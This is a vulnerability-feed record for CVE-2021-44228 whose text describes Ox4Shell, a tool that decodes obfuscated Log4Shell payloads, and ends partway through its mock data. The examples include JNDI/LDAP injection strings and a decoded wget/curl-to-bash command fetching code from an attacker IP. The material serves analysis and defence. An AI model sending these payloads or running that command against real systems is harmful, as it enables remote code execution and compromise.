{"uuid": "86f079ad-0db4-4533-a37a-12309687b6cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2021-44228", "type": "exploited", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/1017", "content": "Deobfuscate Log4Shell payloads with ease.  Description  Since the release of the Log4Shell vulnerability (https://www.kitploit.com/search/label/Vulnerability) (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads,  making the lives of security engineers a nightmare.  This tool intends to unravel the true contents of obfuscated Log4Shell payloads.  For example, consider the following obfuscated payload:  ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}\n  After running Ox4Shell, it would transform into an intuitive and readable form:  ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}\n  This tool also aids to identify and decode (https://www.kitploit.com/search/label/Decode) base64 commands  For example, consider the following obfuscated payload:  ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}\n  After running Ox4Shell, the tool reveals the attacker\u2019s intentions:  ${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash\n  We recommend running Ox4Shell with a provided file (-f) rather than an inline payload (https://www.kitploit.com/search/label/Payload) (-p), because certain  shell environments will escape important characters, therefore will yield inaccurate results.Usage  To run the tool simply:  ~/Ox4Shell \u00c2\u00bb python ox4shell.py --help\nusage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)\n\n   ____       _  _   _____ _          _ _ \n  / __ \\     | || | / ____| |        | | |\n | |  | |_  _| || || (___ | |__   ___| | |\n | |  | \\ \\/ /__   _\\___ \\| '_ \\ / _ \\ | |\n | |__| |&gt;  &lt;   | | ____) | | | |  __/ | |\n  \\____//_/\\_\\  |_||_____/|_| |_|\\___|_|_|\n\nOx4Shell - Deobfuscate (https://www.kitploit.com/search/label/Deobfuscate) Log4Shell payloads with ease.\n    Created by https://oxeye.io\n\nGeneral:\n  -h, --help            Show this help message and exit\n  -d, --debug           Enable debug mode (default: False)\n  -m MOCK, --mock MOCK  The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)\n  --max-depth MAX_DEPTH\n                        The ma   ximum number of iteration to perform on a given payload (default: 150)\n  --decode-base64       Payloads containing base64 will be decoded (default: False)\n\nTargets:\n  Choose which target payloads to run Ox4Shell on\n\n  -p PAYLOAD, --payload PAYLOAD\n                        A single payload to deobfuscate, make sure to escape '$' signs (default: None)\n  -f FILE, --file FILE  A file containing payloads delimited by newline (default: None)\n  Mock Data  The Log4j library (https://www.kitploit.com/search/label/Library) has a few unique lookup functions, which allow users to look up environment variables, runtime  information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific  information that can uniquely identify the compromised machine they targeted.  Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example,  if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.  The default set of mock data provided is:  {\n    \"hostname\": \"ip-127.0.0.1\",\n    \"env\": {\n        \"aws_profile\": \"staging\",\n        \"user\": \"ubuntu\",\n        \"pwd\": \"/opt/\",", "creation_timestamp": "2022-08-24T12:59:09.000000Z"}